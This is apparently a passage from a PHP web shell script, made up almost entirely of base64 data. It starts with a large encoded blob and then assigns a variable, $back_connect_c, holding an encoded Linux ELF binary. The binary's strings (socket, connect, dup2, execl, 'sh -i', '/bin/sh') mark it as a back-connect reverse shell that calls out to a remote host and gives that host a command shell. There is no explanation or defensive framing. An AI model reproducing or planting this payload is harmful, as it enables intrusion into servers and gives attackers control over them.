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"; + +$back_connect_c="f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAA2IUECDQAAABMDAAAAAAAADQAIAAHACgAHAAZAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQILAkAACwJAAAFAAAAABAAAAEAAAAsCQAALJkECCyZBAg4AQAAPAEAAAYAAAAAEAAAAgAAAEAJAABAmQQIQJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAABQAAABEAAAAUAAAAAAAAAAAAAAARAAAAEgAAAAcAAAAKAAAACwAAAAgAAAAPAAAAAwAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFAAAABgAAAAAAAAABAAAAAAAAAAkAAAAAAAAADAAAAAAAAAAAAAAADQAAAA4AAAACAAAABAAAAAAAAAAAAAAAAAAAAAAAAAA2AAAAAAAAABwBAAASAAAArAAAAAAAAABxAAAAEgAAADwAAAAAAAAACwIAABIAAABIAAAAAAAAAH0AAAASAAAAjAAAAAAAAACsAQAAEgAAAKUAAAAAAAAArwAAABIAAABjAAAAAAAAACcAAAASAAAAkwAAAAAAAADdAAAAEgAAAEMAAAAAAAAAOgAAABIAAABcAAAAAAAAAKoBAAASAAAAVgAAAAAAAAA2AAAAEgAAAHMAAAAAAAAA2QAAABIAAAB4AAAAAAAAACgAAAASAAAAbQAAAAAAAAAOAAAAEgAAAC4AAAAAAAAAeAAAABIAAAB9AAAA8IgECAQAAAARAA4ATwAAAAAAAAA5AAAAEgAAAAEAAAAAAAAAAAAAACAAAAAVAAAAAAAAAAAAAAAgAAAAAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18AbGliYy5zby42AGNvbm5lY3QAZXhlY2wAcGVycm9yAGR1cDIAc3lzdGVtAHNvY2tldABiemVybwBzdHJjYXQAaW5ldF9hZGRyAGh0b25zAGV4aXQAYXRvaQBfSU9fc3RkaW5fdXNlZABkYWVtb24AX19saWJjX3N0YXJ0X21haW4Ac3RybGVuAGNsb3NlAEdMSUJDXzIuMAAAAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAEAAgAAAAAAAQABACQAAAAQAAAAAAAAABBpaQ0AAAIAsgAAAAAAAAAImgQIBhMAABiaBAgHAQAAHJoECAcCAAAgmgQIBwMAACSaBAgHBAAAKJoECAcFAAAsmgQIBwYAADCaBAgHBwAANJoECAcIAAA4mgQIBwkAADyaBAgHCgAAQJoECAcLAABEmgQIBwwAAEiaBAgHDQAATJoECAcOAABQmgQIBw8AAFSaBAgHEQAAVYnlg+wI6EEBAADolAEAAOjnAwAAycMA/zUQmgQI/yUUmgQIAAAAAP8lGJoECGgAAAAA6eD/////JRyaBAhoCAAAAOnQ/////yUgmgQIaBAAAADpwP////8lJJoECGgYAAAA6bD/////JSiaBAhoIAAAAOmg/////yUsmgQIaCgAAADpkP////8lMJoECGgwAAAA6YD/////JTSaBAhoOAAAAOlw/////yU4mgQIaEAAAADpYP////8lPJoECGhIAAAA6VD/////JUCaBAhoUAAAAOlA/////yVEmgQIaFgAAADpMP////8lSJoECGhgAAAA6SD/////JUyaBAhoaAAAAOkQ/////yVQmgQIaHAAAADpAP////8lVJoECGh4AAAA6fD+//8x7V6J4YPk8FBUUmhoiAQIaBSIBAhRVmiAhgQI6E/////0kJBVieVT6AAAAABbgcMHFAAAUouD/P///4XAdAL/0FhbycOQkJBVieWD7AiAPWSaBAgAdA/rH412AIPABKNgmgQI/9KhYJoECIsQhdJ168YFZJoECAHJw4n2VYnlg+wIoTyZBAiFwHQZuAAAAACFwHQQg+wMaDyZBAj/0IPEEI12AMnDkJBVieVXVlOD7EyD5PC4AAAAAIPAD4PAD8HoBMHgBCnEjX2ovvSIBAj8uQcAAADzpI19r/y5DgAAALAA86qD7AhqAGoB6FD+//+DxBBmx0XIAgCD7AyLRQyDwAj/MOi3/v//g8QQD7fAg+wMUOi4/v//g8QQZolFyoPsDItFDIPABP8w6DH+//+D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